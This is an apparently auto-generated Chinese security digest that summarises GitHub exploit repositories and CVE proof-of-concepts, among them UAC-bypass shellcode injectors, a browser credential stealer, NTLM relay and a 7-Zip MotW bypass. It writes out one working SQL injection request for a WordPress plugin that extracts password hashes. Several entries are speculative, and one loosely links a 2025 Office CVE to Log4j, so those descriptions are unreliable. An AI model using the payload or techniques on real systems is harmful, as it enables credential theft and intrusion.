该仓库是一个AI Agent安全平台，核心功能是监控Agent之间的通信，检测安全合规性。更新主要集中在增强A2A（Agent-to-Agent）通信的合规性检查和演示。具体来说，更新包括：1. stealth_agent.py 和 policy_agent.py 增加了 A2A 通信的日志记录和增强的合规性检查，以及用于演示的视觉效果。2. wiretap.py 增加了 A2A 通信的监控，以及速率限制机制防止循环，并修复了初始化问题。 这些更新增强了Agent之间的安全交互，并演示了实时合规性检测。

🔍 关键发现

序号 发现内容
1 Agent-to-Agent (A2A) 通信安全监控
2 增强了A2A通信的合规性检查
3 增加了针对恶意Agent的检测能力
4 演示了实时合规性检测

🛠️ 技术细节

StealthAgent增加了与Policy Agent的A2A通信，进行合规性检查。

Wiretap模块新增了对A2A通信的监控，并增加了速率限制以防止循环

PolicyAgent更新了A2A通信相关的日志记录，增强了演示效果

代码中增加了对违规行为的检测，并实现了违规信息的上报。

🎯 受影响组件

• stealth_agent.py
• policy_agent.py
• wiretap.py

⚡ 价值评估

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该更新增强了AI Agent之间的安全通信，增加了对恶意Agent的检测，并演示了实时合规性检测能力。 虽然没有直接的漏洞修复或POC，但是增强了安全防护能力，提高了C2框架的安全性，属于安全增强型更新。

ShellCode-Elevator-Uac-Bypass-Inject-Any-X64-fud - Shellcode UAC Bypass Injector

📌 仓库信息

属性 详情
仓库名称 ShellCode-Elevator-Uac-Bypass-Inject-Any-X64-fud
风险等级 HIGH
安全类型 漏洞利用
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库提供了一个用于Shellcode开发的工具，重点在于绕过UAC（用户帐户控制）和进行注入，以实现后渗透测试任务，如规避杀毒软件。更新内容可能涉及到shellcode的开发、加载器、注入器，以及汇编和编码器的使用，旨在提高在Windows系统上的隐蔽性。 仓库的主要功能是shellcode的生成、加载和注入，以绕过UAC，实现权限提升和规避安全软件。更新可能包含改进的UAC绕过技术或者新的注入方法。

🔍 关键发现

序号 发现内容
1 Shellcode开发工具，用于UAC绕过和注入。
2 包含加载器和注入器，用于执行shellcode。
3 更新可能涉及绕过UAC和注入技术的改进。
4 旨在实现权限提升和规避安全软件。

🛠️ 技术细节

该项目可能使用汇编语言和编码器来混淆shellcode，提高隐蔽性。

更新可能包括新的UAC绕过方法，例如利用Windows系统中的漏洞。

注入技术可能涉及将shellcode注入到其他进程中，以实现代码执行。

🎯 受影响组件

• Windows操作系统
• UAC (用户帐户控制)
• Shellcode加载器
• Shellcode注入器

⚡ 价值评估

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该仓库涉及UAC绕过和shellcode注入等关键的渗透测试技术，更新可能涉及新的绕过方法或利用技术，对安全研究和渗透测试具有重要价值。

Exe-To-Base64-ShellCode-Convert - EXE转Base64 shellcode工具

📌 仓库信息

属性 详情
仓库名称 Exe-To-Base64-ShellCode-Convert
风险等级 HIGH
安全类型 漏洞利用
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库提供将EXE文件转换为Base64编码的ShellCode的功能，旨在用于规避检测。仓库主要功能包括UAC绕过、反病毒规避、Crypters和shellcode加载器，以及内存排除技术。本次更新具体内容未知，但考虑到其核心功能是恶意代码转换和加载，且使用了规避技术，因此更新可能涉及对规避技术的改进，或对新的Shellcode加载方式的实现。由于没有具体更新信息，无法确定是否包含新的漏洞利用或改进现有利用方法，但此类工具本身具有较高的安全风险。

🔍 关键发现

序号 发现内容
1 将EXE文件转换为Base64编码的Shellcode
2 包含UAC绕过和反病毒规避技术
3 使用Crypters和Shellcode加载器
4 采用内存排除技术
5 更新内容未知，但涉及安全规避和Shellcode加载

🛠️ 技术细节

将EXE转换为Base64编码的Shellcode，绕过检测

UAC绕过和反病毒规避技术的具体实现细节

Crypters和Shellcode加载器的代码逻辑

内存排除技术的工作原理

更新可能涉及对规避技术或Shellcode加载方式的改进

🎯 受影响组件

• EXE文件
• Shellcode加载器
• 反病毒软件
• 操作系统安全机制

⚡ 价值评估

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该仓库属于安全研究范畴，涉及恶意代码转换和规避技术，其更新可能包含对现有攻击技术的改进或新的规避方法。虽然无法确定具体的更新内容，但此类工具本身具有较高的安全风险，因此值得关注。

e0e1-config - 后渗透工具，提取凭证等信息

📌 仓库信息

属性 详情
仓库名称 e0e1-config
风险等级 HIGH
安全类型 漏洞利用
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个后渗透工具，主要用于从多种应用程序中提取敏感信息，如浏览器数据、远程桌面软件凭证、数据库连接信息等。更新内容主要集中在firefox和chromium内核浏览器的内容解密，能够提取浏览记录、下载记录、书签、cookie、用户密码。修复了firefox浏览器解密问题，增强了对chromium内核浏览器内容提取的支持。

🔍 关键发现

序号 发现内容
1 后渗透工具，收集敏感信息
2 支持多种应用程序，包括浏览器、远程桌面软件、数据库客户端等
3 更新增加了浏览器数据解密功能
4 增加了对更多chromium内核浏览器的支持

🛠️ 技术细节

使用Go语言编写

通过解析不同应用程序的配置文件、数据库和注册表等，提取敏感信息

firefox浏览器解密，提取浏览记录、下载记录、书签、cookie、用户密码

chromium浏览器解密，提取浏览记录、下载记录、书签、cookie、用户密码

支持的浏览器包括Chrome, Edge, 360 Speed等

🎯 受影响组件

• firefox浏览器
• chromium内核浏览器（Chrome, Edge, 360 Speed等）
• 向日葵
• ToDesk
• Navicat
• DBeaver
• FinalShell
• Xshell
• Xftp
• FileZilla
• WinSCP

⚡ 价值评估

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该仓库提供了后渗透攻击中常用的信息收集功能，特别是对浏览器密码等敏感信息的提取，价值较高。更新增加了浏览器数据解密，增强了功能。

CVE-2024-9796 - WordPress插件SQL注入漏洞PoC

📌 漏洞信息

属性 详情
CVE编号 CVE-2024-9796
风险等级 HIGH
利用状态 POC可用
发布时间 2025-06-20 00:00:00
最后更新 2025-06-20 18:10:20

📦 相关仓库

💡 分析概述

该仓库提供了CVE-2024-9796的PoC，针对WordPress的wp-advanced-search插件。仓库的核心功能是利用SQL注入漏洞获取WordPress用户的用户名和密码哈希。代码中包含一个Python脚本poc.py，该脚本通过构造恶意的GET请求，注入SQL语句来获取数据库信息。README.md文档对漏洞和使用方法做了简单的描述。更新内容主要是增加了对poc.py的介绍和使用方式。漏洞的利用方式是通过构造特定的GET请求，向wp-advanced-search插件的autocompletion-PHP5.5.php文件发送请求，注入SQL语句从wp_users表中获取用户名和密码哈希。

🔍 关键发现

序号 发现内容
1 WordPress wp-advanced-search插件存在SQL注入漏洞
2 POC代码已提供，可用于获取用户凭据
3 漏洞影响涉及用户账户安全
4 利用方式简单，通过构造GET请求进行注入

🛠️ 技术细节

漏洞原理：wp-advanced-search插件的autocompletion-PHP5.5.php文件未对用户输入进行充分的过滤，导致SQL注入。

利用方法：构造GET请求，向/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php发送恶意参数，如?q=admin&t=wp_users UNION SELECT user_pass FROM wp_users--来获取用户密码哈希

修复方案：升级wp-advanced-search插件到安全版本，或者对用户输入进行严格的过滤和转义。

🎯 受影响组件

• WordPress
• wp-advanced-search插件

⚡ 价值评估

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POC可用，且能直接获取用户密码哈希，影响用户账户安全，属于高危漏洞。

CVE-2025-44228 - Office文档RCE漏洞，利用Silent Exploit

📌 漏洞信息

属性 详情
CVE编号 CVE-2025-44228
风险等级 CRITICAL
利用状态 理论可行
发布时间 2025-06-20 00:00:00
最后更新 2025-06-20 17:55:20

📦 相关仓库

💡 分析概述

该CVE描述了针对Office文档（如DOC）的远程代码执行（RCE）漏洞利用。仓库https://github.com/Caztemaz/Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud旨在开发针对CVE-2025-44228的漏洞利用，结合Silent Exploit Builder等工具，构造恶意Office文档进行攻击，影响Office 365等平台。 仓库代码基于Office文档的特性，通过构造特定的XML文档或利用Office文档解析漏洞实现代码执行。 提交更新显示了频繁的日志更新，主要集中在修改时间戳，表明作者正在进行持续的开发和测试工作。 漏洞利用方式可能包括构造恶意的DOC文件，通过特定的漏洞触发代码执行。 结合CVE-2025-44228，可能利用了Log4j等漏洞，通过构造payload进行攻击。

🔍 关键发现

序号 发现内容
1 针对Office文档的RCE漏洞
2 利用Silent Exploit Builder构造恶意文档
3 影响Office 365等平台
4 可能利用CVE-2025-44228，及相关的Log4j等漏洞
5 频繁更新日志文件

🛠️ 技术细节

漏洞原理：构造恶意的Office文档，利用Office解析漏洞或结合其他漏洞（如Log4j）实现代码执行。

利用方法：通过Silent Exploit Builder等工具生成payload，构造DOC等恶意Office文档，诱导用户打开，触发漏洞。

修复方案：及时更新Office软件，加强安全防护，避免打开不明来源的Office文档。

🎯 受影响组件

• Office 365
• Office
• DOC文件

⚡ 价值评估

展开查看详细评估

该CVE描述了RCE漏洞，影响广泛使用的Office软件，且有明确的利用工具和潜在的利用方式，属于高危漏洞。

CVE-2025-31258 - macOS sandbox逃逸 PoC

📌 漏洞信息

属性 详情
CVE编号 CVE-2025-31258
风险等级 HIGH
利用状态 POC可用
发布时间 2025-06-20 00:00:00
最后更新 2025-06-20 17:53:34

📦 相关仓库

💡 分析概述

该仓库提供了一个针对macOS的沙箱逃逸PoC。仓库包含Xcode项目，通过RemoteViewServices框架实现部分沙箱逃逸。初始提交创建了Xcode项目框架和基础文件，后续提交增加了PoC代码，修改了README文件，提供了PoC的使用说明、漏洞分析和缓解措施。PoC通过调用PBOXDuplicateRequest函数尝试复制Documents文件夹，并写入文件。README文件详细介绍了CVE-2025-31258漏洞，涉及的macOS版本范围为10.15到11.5。该漏洞的利用涉及向RemoteViewServices发送消息，并操纵数据流来绕过安全检查。

🔍 关键发现

序号 发现内容
1 利用RemoteViewServices实现macOS沙箱逃逸
2 PoC代码尝试复制Documents目录
3 影响macOS 10.15至11.5版本
4 PoC代码通过调用PBOXDuplicateRequest函数实现漏洞利用

🛠️ 技术细节

漏洞利用了RemoteViewServices框架，允许应用在不同进程间共享视图和数据

PoC通过调用PBOXDuplicateRequest函数，尝试复制Documents目录，利用该函数的漏洞进行沙箱逃逸

利用方法：运行PoC程序，程序尝试复制Documents文件夹，并在沙箱外写入文件

修复方案：更新macOS到最新版本；在应用程序中实施严格的输入验证；使用沙箱技术有效隔离进程。

🎯 受影响组件

• macOS RemoteViewServices框架

⚡ 价值评估

展开查看详细评估

该PoC提供了针对macOS沙箱逃逸的实际利用代码，虽然是部分逃逸，但展示了利用RemoteViewServices框架绕过沙箱的潜在风险，并且提供了利用方法，对安全研究具有参考价值。

CVE-2025-0411 - 7-Zip MotW Bypass 漏洞

📌 漏洞信息

属性 详情
CVE编号 CVE-2025-0411
风险等级 HIGH
利用状态 POC可用
发布时间 2025-06-20 00:00:00
最后更新 2025-06-20 17:01:55

📦 相关仓库

💡 分析概述

该仓库提供了CVE-2025-0411漏洞的POC。该漏洞存在于7-Zip中，允许攻击者绕过Mark-of-the-Web (MotW)保护机制。仓库包含POC场景，用于演示漏洞利用过程。最新提交修改了README.md文件，更新了关于仓库的描述、获取POC的方法，并修正了链接。之前的提交详细介绍了漏洞细节，包括漏洞影响、缓解措施以及POC的实现方法。漏洞利用通过构造恶意压缩文件，绕过MotW保护，实现代码执行。漏洞利用过程涉及双重压缩文件，上传到payload分发服务器，以及诱导受害者解压并运行恶意文件。该漏洞影响7-Zip 24.09之前的所有版本。

🔍 关键发现

序号 发现内容
1 7-Zip的MotW绕过漏洞
2 可执行任意代码
3 影响7-Zip 24.09之前的所有版本
4 POC可用

🛠️ 技术细节

漏洞原理：7-Zip在处理带MotW标记的压缩文件时，未正确传播MotW标记到解压后的文件，导致MotW绕过。

利用方法：构造恶意的压缩文件，通过双重压缩技术绕过MotW。诱导用户下载和解压恶意文件，从而执行任意代码。

修复方案：升级到7-Zip 24.09或更高版本；避免打开来自不可信来源的压缩文件。

🎯 受影响组件

• 7-Zip

⚡ 价值评估

展开查看详细评估

该漏洞允许远程代码执行，且有明确的利用方法和POC。影响广泛使用的7-Zip软件，风险较高。

CVE-2025-33073 - NTLM反射SMB漏洞PoC

📌 漏洞信息

属性 详情
CVE编号 CVE-2025-33073
风险等级 CRITICAL
利用状态 POC可用
发布时间 2025-06-20 00:00:00
最后更新 2025-06-20 18:29:37

📦 相关仓库

💡 分析概述

该仓库提供CVE-2025-33073的PoC利用代码，针对NTLM反射SMB漏洞。仓库包含一个Python脚本，用于利用NTLM反射SMB漏洞，通过DNS记录配置和ntlmrelayx进行攻击。最近的更新主要集中在README.md文件的改进，增加了关于SOCKS代理的使用说明。漏洞利用方法是使用PetitPotam触发NTLM认证，通过ntlmrelayx拦截并反射认证请求，最终实现权限提升或信息泄露。CVE-2025-33073是一个NTLM反射漏洞，攻击者可以通过SMB协议反射NTLM认证，从而实现对目标系统的未授权访问，进而可能导致敏感信息泄露或RCE。

🔍 关键发现

序号 发现内容
1 利用SMB NTLM反射漏洞
2 通过PetitPotam触发认证
3 利用ntlmrelayx进行身份验证劫持
4 可导致权限提升或信息泄露
5 提供PoC代码，方便验证

🛠️ 技术细节

漏洞原理：SMB协议中NTLM认证的反射漏洞。攻击者通过构造恶意请求，触发目标系统向攻击者控制的SMB服务器进行NTLM认证，导致凭证泄露。

利用方法：使用PetitPotam等工具触发目标系统进行NTLM认证，然后使用ntlmrelayx拦截和中继认证请求，最终实现权限提升或执行命令。

修复方案：Microsoft 建议在 Windows Server 2019 及更高版本中配置 NTLM 限制，并修补相关的 SMB 服务。 禁用 NTLM 身份验证，并启用 SMB signing。

🎯 受影响组件

• Windows Server 2019
• Windows Server 2016
• Windows Server 2012 R2
• Windows Server 2008 R2
• Windows 10 (up to 21H2)

⚡ 价值评估

展开查看详细评估

该漏洞影响广泛的Windows系统，并且提供了明确的PoC利用代码，可以进行远程代码执行或权限提升。该漏洞影响关键基础设施，并提供了详细的利用方法。

CVE-2025-49132 - Pterodactyl面板Session伪造漏洞

📌 漏洞信息

属性 详情
CVE编号 CVE-2025-49132
风险等级 HIGH
利用状态 POC可用
发布时间 2025-06-20 00:00:00
最后更新 2025-06-20 18:23:43

📦 相关仓库

💡 分析概述

该仓库提供了针对Pterodactyl面板的session伪造攻击的PoC。 仓库包含forge_cookie.py脚本，该脚本用于生成伪造的pterodactyl_session cookie，前提是攻击者需要获取到Redis服务器的配置信息，包括APP_KEY，以及Redis数据库密码和IP。 脚本根据Laravel的cookie加密机制，结合Redis的配置信息，生成合法的session cookie。 此外，仓库还包含了illuminate-decryptor.py，该脚本用于解密Laravel加密的cookie。 从更新内容来看，核心功能集中在forge_cookie.py和illuminate-decryptor.py。 forge_cookie.py脚本可以根据提供的APP_KEY和真实的session ID伪造session。 结合README文档，POC针对的漏洞是Pterodactyl面板中的session伪造漏洞，攻击者可以利用该漏洞绕过身份验证，从而访问Pterodactyl API。

🔍 关键发现

序号 发现内容
1 Pterodactyl面板Session伪造
2 利用已知配置信息伪造Cookie
3 可绕过身份验证访问API
4 依赖Redis服务器配置信息

🛠️ 技术细节

漏洞原理： 攻击者通过获取面板的APP_KEY和Redis配置，利用Laravel的session加密机制，伪造pterodactyl_session cookie。

利用方法： 1. 获取APP_KEY。 2. 获取Redis服务器配置信息。 3. 运行forge_cookie.py生成伪造的cookie。 4. 使用伪造的cookie访问Pterodactyl API。

修复方案： 1. 保护APP_KEY，避免泄露。 2. 限制对Redis服务器的访问。 3. 升级Pterodactyl面板到修复版本。

🎯 受影响组件

• Pterodactyl面板

⚡ 价值评估

展开查看详细评估

该漏洞允许攻击者绕过身份验证，访问Pterodactyl面板的API。 Pterodactyl面板通常用于管理服务器资源，因此该漏洞可能导致攻击者控制服务器，造成严重的安全风险。 仓库中提供了可用的PoC，降低了漏洞利用的门槛。

batfish - 网络配置分析工具，检测配置错误

📌 仓库信息

属性 详情
仓库名称 batfish
风险等级 MEDIUM
安全类型 安全功能
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 5
  • 变更文件数: 3

💡 分析概述

Batfish是一个网络配置分析工具，用于发现网络配置中的错误，并确保其正确性。它可以帮助网络工程师快速、安全地演进他们的网络，避免中断或安全漏洞。此次更新主要集中在Juniper配置文件的风险终端操作检测上，改进了对策略语句中潜在风险终端操作的检测，增加了测试用例来覆盖更多风险情况。该工具检测了策略语句中可能导致无法访问的终端操作，例如当存在无条件接受或拒绝的终端操作时，后续的term将变得不可达，这可能导致路由错误。更新增强了对这种风险情况的检测，减少了误报，并增加了测试用例以确保检测的准确性。

🔍 关键发现

序号 发现内容
1 Batfish是网络配置分析工具，用于检测网络配置错误
2 更新增强了对Juniper策略语句中风险终端操作的检测
3 改进了对无条件终端操作导致后续term不可达的检测
4 增加了测试用例以确保检测的准确性
5 修复了在处理只有一个简单不可达终端时，不应该发出警告的错误

🛠️ 技术细节

修改了JuniperConfiguration.java文件，增加了对风险终端操作的检测逻辑，特别是对于无条件的accept/reject/next-policy语句

FlatJuniperGrammarTest.java增加了测试用例，覆盖更多风险场景

新增逻辑，当只有一个简单不可达终端时，将不再发出警告，修复之前版本的一个bug

🎯 受影响组件

• Batfish
• JuniperConfiguration.java
• FlatJuniperGrammarTest.java

⚡ 价值评估

展开查看详细评估

该更新增强了对网络配置中潜在风险的检测能力，有助于减少因配置错误导致的网络中断和安全问题。对于网络安全具有积极的意义。

hack-crypto-wallet - 加密货币钱包密码恢复工具

📌 仓库信息

属性 详情
仓库名称 hack-crypto-wallet
风险等级 MEDIUM
安全类型 安全工具
更新类型 GENERAL_UPDATE

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库名为Hack Crypto Wallet，专注于探索区块链技术和加密货币钱包安全。它提供了一些工具和技术，用于加密货币交易和钱包分析，包括密码恢复。本次更新主要是README.md文档的修改，主要增加了工具的描述和使用方法，并说明了其设计用于找回丢失或忘记的加密货币钱包密码。通过先进的加密破解技术，该工具帮助用户重新获得钱包访问权限。

🔍 关键发现

序号 发现内容
1 提供加密货币钱包密码恢复功能
2 使用先进的加密破解技术
3 增加了工具的描述和使用方法

🛠️ 技术细节

README.md文档更新，介绍了工具的功能和使用方法。

该工具声称使用先进的加密破解技术恢复钱包密码，但具体技术细节未知。

🎯 受影响组件

• 加密货币钱包

⚡ 价值评估

展开查看详细评估

该项目提供了针对加密货币钱包的密码恢复工具，虽然技术细节未知，但具备潜在的安全风险，可能被用于非法目的。因此，具有一定的安全价值。

CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection - CVE-2024 RCE 漏洞CMD利用

📌 仓库信息

属性 详情
仓库名称 CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection
风险等级 CRITICAL
安全类型 漏洞利用
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库旨在开发针对CVE-2024 RCE漏洞的CMD命令注入利用工具。仓库通过使用cmd fud（模糊化）技术，试图绕过检测，实现静默执行。此次更新主要聚焦于漏洞利用的实现细节，包括命令注入、绕过防御机制等，涉及利用框架和CVE数据库。仓库整体关注于RCE漏洞的CMD命令注入利用，目标是实现隐蔽的攻击。

🔍 关键发现

序号 发现内容
1 针对CVE-2024 RCE漏洞的CMD命令注入利用
2 采用cmd fud技术绕过检测
3 涉及漏洞利用框架和CVE数据库
4 旨在实现静默执行

🛠️ 技术细节

技术细节包括cmd命令注入的实现方法，以及绕过安全防御的技术。

利用了漏洞利用框架和CVE数据库，以实现RCE攻击。

代码可能包含混淆技术（FUD）以规避检测。

🎯 受影响组件

• 受CVE-2024 RCE漏洞影响的系统
• 可能涉及的应用程序或服务

⚡ 价值评估

展开查看详细评估

该仓库提供了针对特定CVE漏洞的RCE利用代码，具有较高的安全研究价值。即使是FUD技术，也能够为安全研究人员提供绕过检测的思路和技术，具有一定的学习和研究价值。

TOP - 漏洞POC与EXP收集

📌 仓库信息

属性 详情
仓库名称 TOP
风险等级 HIGH
安全类型 POC更新
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库是一个漏洞利用 (PoC) 和漏洞利用代码 (EXP) 收集仓库，主要针对各种CVE漏洞。本次更新是README.md文件的自动更新，增加了新的漏洞POC和EXP的链接。鉴于仓库的性质，其主要功能是汇集各种漏洞的利用方式，包括RCE漏洞的POC，为安全研究人员和渗透测试人员提供参考。更新内容包括了CVE-2025相关的POC和EXP。

🔍 关键发现

序号 发现内容
1 收集了多个CVE漏洞的PoC和EXP
2 更新包含了新的漏洞利用代码
3 方便安全研究人员进行漏洞复现和分析

🛠️ 技术细节

更新了README.md文件，增加了新的漏洞利用POC和EXP的链接。

本次更新涉及到的漏洞包括 IngressNightmare,CVE-2025-33073, CVE-2025-21298 以及 CVE-2025-24071。

🎯 受影响组件

• 各种软件和系统，取决于列出的 CVE 漏洞。

⚡ 价值评估

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该仓库提供了多个漏洞的PoC和EXP，方便安全研究人员进行漏洞分析和利用。更新内容包括了新的漏洞利用代码，具有实际价值。

Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud - Office RCE漏洞利用框架

📌 仓库信息

属性 详情
仓库名称 Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud
风险等级 HIGH
安全类型 漏洞利用
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库是一个针对Microsoft Office的RCE漏洞利用框架，主要目标是CVE-2025-xxxx等漏洞，通过构建恶意的Office文档（如DOC、DOCX等）来实现远程代码执行。更新内容可能包括对现有漏洞利用方法的改进、新的payload构建技术、对Office 365等平台的兼容性增强，以及对已知漏洞的利用代码或POC的更新。考虑到其主要目标是RCE漏洞，且涉及到Office文档，该仓库具有较高的安全风险。

分析具体更新需根据仓库更新内容判断，例如，如果更新包含新的漏洞利用代码或POC，或者改进了现有漏洞利用方法，则具有较高的价值。如果更新仅包含对现有payload的调整，风险等级和价值则会降低。

🔍 关键发现

序号 发现内容
1 针对Office的RCE漏洞利用框架。
2 主要目标是CVE-2025-xxxx等漏洞。
3 通过构建恶意的Office文档实现远程代码执行。
4 包含POC或漏洞利用代码，或改进了现有漏洞利用方法

🛠️ 技术细节

可能包含用于生成恶意Office文档的工具，如 silent exploit builders。

利用Office文档中的漏洞（如XML解析、恶意宏等）来触发代码执行。

可能涉及对payload的混淆和绕过安全防护机制。

可能更新了对Office 365平台的兼容性。

🎯 受影响组件

• Microsoft Office (Word, Excel, PowerPoint等)
• Office 365

⚡ 价值评估

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该仓库专注于RCE漏洞的利用，并更新相关POC。这表明作者致力于研究或开发针对Office软件的攻击手段，具有较高的安全研究价值。如果更新内容包括新的漏洞利用方法或改进，则具有更高的价值。

Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce - LNK RCE漏洞利用工具

📌 仓库信息

属性 详情
仓库名称 Lnk-Exploit-FileBinder-Certificate-Spoofer-Reg-Doc-Cve-Rce
风险等级 HIGH
安全类型 漏洞利用
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 5

💡 分析概述

该仓库是一个针对LNK文件（Windows快捷方式）的RCE（远程代码执行）漏洞利用工具，其中提到了CVE-2025-44228漏洞。 该工具可以用来创建恶意的LNK文件，实现通过快捷方式进行静默RCE。更新内容可能涉及LNK文件构建器、Payload生成、证书欺骗和文件绑定等技术，目的是绕过安全措施，实现代码执行。由于该仓库主要针对RCE漏洞，因此更新内容具有较高的安全风险。

🔍 关键发现

序号 发现内容
1 利用LNK文件进行RCE攻击
2 可能包含CVE-2025-44228的利用代码
3 工具涉及快捷方式文件构造、Payload生成和文件绑定
4 旨在实现静默RCE执行
5 更新可能涉及绕过安全措施

🛠️ 技术细节

LNK文件构造：创建包含恶意指令的快捷方式文件。

Payload生成：生成可在目标系统上执行的恶意代码。

证书欺骗：使用伪造的证书来绕过安全检查。

文件绑定：将恶意Payload与正常文件绑定，增加隐蔽性。

CVE-2025-44228漏洞利用：针对该漏洞的特定利用代码，实现RCE。

🎯 受影响组件

• Windows操作系统
• Windows Shell
• LNK文件处理程序

⚡ 价值评估

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该仓库专注于LNK文件RCE漏洞利用，可能包含针对CVE-2025-44228的POC或利用代码，具有较高的安全研究价值。

wxvl - 微信公众号漏洞文章抓取

📌 仓库信息

属性 详情
仓库名称 wxvl
风险等级 MEDIUM
安全类型 漏洞利用/安全研究/漏洞预警
更新类型 SECURITY_IMPROVEMENT

📊 代码统计

  • 分析提交数: 3
  • 变更文件数: 15

💡 分析概述

该仓库是一个微信公众号安全漏洞文章抓取工具，并构建本地知识库。本次更新新增了多篇安全文章，包括某米路由器漏洞挖掘分享、破解 JWT 身份验证绕过、实战小程序漏洞测试、泛微 e-cology 未授权 SQL 注入漏洞复现、以及一些漏洞预警，例如 DedeCMS 命令执行漏洞等。这些文章涵盖了漏洞挖掘、利用和安全防护等多个方面。其中，某米路由器漏洞挖掘分享、破解 JWT 身份验证绕过、实战小程序漏洞测试、泛微 e-cology 未授权 SQL 注入漏洞，都值得关注。尤其是小程序漏洞测试和 JWT 绕过，涉及到了实际的漏洞利用案例。DedeCMS 命令执行漏洞提供了漏洞预警信息。

🔍 关键发现

序号 发现内容
1 新增多个安全漏洞分析文章。
2 涵盖路由器、JWT、小程序、SQL注入等多种漏洞。
3 提供了漏洞复现、利用以及安全预警信息。

🛠️ 技术细节

data.json 更新，新增了多个微信公众号文章链接，包含了安全漏洞分析。

新增了多篇markdown文档，详细介绍了各种漏洞的挖掘和利用过程，包括某米路由器、JWT 绕过、小程序等。

文章中提到了具体的漏洞利用方法、代码片段和安全防护措施。

🎯 受影响组件

• 某米路由器
• JWT
• 小程序
• 泛微 e-cology
• DedeCMS

⚡ 价值评估

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新增文章提供了关于多种漏洞的详细分析和利用方法，有助于安全研究人员学习和实践。

wxvuln - 微信公众号漏洞文章知识库

📌 仓库信息

属性 详情
仓库名称 wxvuln
风险等级 HIGH
安全类型 漏洞利用/安全研究
更新类型 SECURITY_CRITICAL

📊 代码统计

  • 分析提交数: 4
  • 变更文件数: 14

💡 分析概述

该仓库是一个微信公众号安全漏洞文章知识库，基于原版项目进行扩展，每日持续更新。本次更新新增了多篇安全文章，包括逻辑漏洞挖掘、JWT 绕过、小程序漏洞、PHP 静态分析漏洞挖掘、DedeCMS 命令执行漏洞，以及 Kafka Connect 任意文件读取漏洞的复现， Veeam RCE 漏洞，泛微e-cology SQL注入等，涉及多个安全领域。其中，关于 JWT 绕过、小程序漏洞、DedeCMS 命令执行漏洞的文章，以及 Kafka Connect 任意文件读取漏洞复现和 Veeam RCE 漏洞的披露，都具有较高的安全研究价值。这些文章提供了对具体漏洞的分析和利用方法，有助于安全研究人员了解最新的攻击手法。

🔍 关键发现

序号 发现内容
1 微信公众号漏洞文章知识库
2 新增多篇安全文章，涵盖逻辑漏洞、JWT、小程序、PHP 静态分析、DedeCMS 命令执行漏洞以及 Kafka Connect 任意文件读取漏洞复现等
3 提供了漏洞分析和利用方法
4 更新内容有助于安全研究人员了解最新攻击手法

🛠️ 技术细节

更新了 data.json 文件，增加了新的微信公众号文章链接

新增了包括 JWT 绕过、小程序漏洞、PHP 静态分析漏洞挖掘、DedeCMS 命令执行漏洞、Kafka Connect 任意文件读取漏洞复现、Veeam RCE 漏洞和泛微e-cology SQL注入等多个安全相关的文章

🎯 受影响组件

• DedeCMS
• Kafka Connect
• Veeam
• 泛微e-cology

⚡ 价值评估

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新增了多个漏洞分析和利用方法的文章，涉及 JWT、小程序、DedeCMS 命令执行漏洞、Kafka Connect 任意文件读取漏洞以及 Veeam RCE 漏洞，对安全研究人员具有很高的参考价值。

AI-Testing-Framework - AI/ML模型安全测试框架

📌 仓库信息

属性 详情
仓库名称 AI-Testing-Framework
风险等级 MEDIUM
安全类型 安全工具/安全研究
更新类型 文档更新

📊 代码统计

  • 分析提交数: 1
  • 变更文件数: 1

💡 分析概述

该仓库提供了一个用于测试机器学习(ML)和大型语言模型(LLM)的综合框架。主要功能包括对抗鲁棒性、可解释性和漂移检测。该框架集成了LIME, Evidently AI, Garak等工具，并实现了自动化的PII检测流程。更新内容为README.md的修改，对框架介绍进行了优化，并添加了项目介绍图。该项目专注于AI安全，提供了包括数据隐私、偏见测试、对抗鲁棒性、可解释性、性能测试、操作监控和事件响应等方面的测试，对AI系统的安全性进行了全面的考虑。

🔍 关键发现

序号 发现内容
1 提供了针对ML/LLM模型的全面测试框架
2 涵盖对抗鲁棒性、可解释性、漂移检测等关键安全领域
3 集成了多种安全工具，如LIME, Evidently AI, Garak等
4 框架设计考虑了数据隐私保护和合规性要求

🛠️ 技术细节

框架由七个关键检查组成，包括数据隐私和治理、偏见和公平性测试、对抗鲁棒性、可解释性和可解释性、性能和可伸缩性测试、操作监控和漂移检测、事件响应和安全监控。

集成了多种工具，例如Presidio (数据隐私), TextAttack (偏见测试), Garak (对抗鲁棒性), LIME (可解释性), Apache JMeter (性能测试)等。

🎯 受影响组件

• ML模型
• LLM模型
• LIME
• Evidently AI
• Garak
• Presidio
• TextAttack
• AI Fairness 360
• Adversarial Robustness Toolkit (ART)
• InterpretML
• Apache JMeter
• Locust
• Giskard AI
• Kibana
• Splunk

⚡ 价值评估

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该仓库与安全工具(security tool)关键词相关，提供了AI模型安全测试框架，并涵盖了多个安全相关特性，如对抗鲁棒性、隐私保护、漂移检测等。虽然没有直接提供漏洞利用代码，但框架本身具有重要的安全研究价值，有助于提升AI系统的安全性。相关性评分高。

pentapi - API安全自动化测试工具

📌 仓库信息

属性 详情
仓库名称 pentapi
风险等级 MEDIUM
安全类型 安全工具
更新类型 initial

📊 代码统计

  • 分析提交数: 1

💡 分析概述

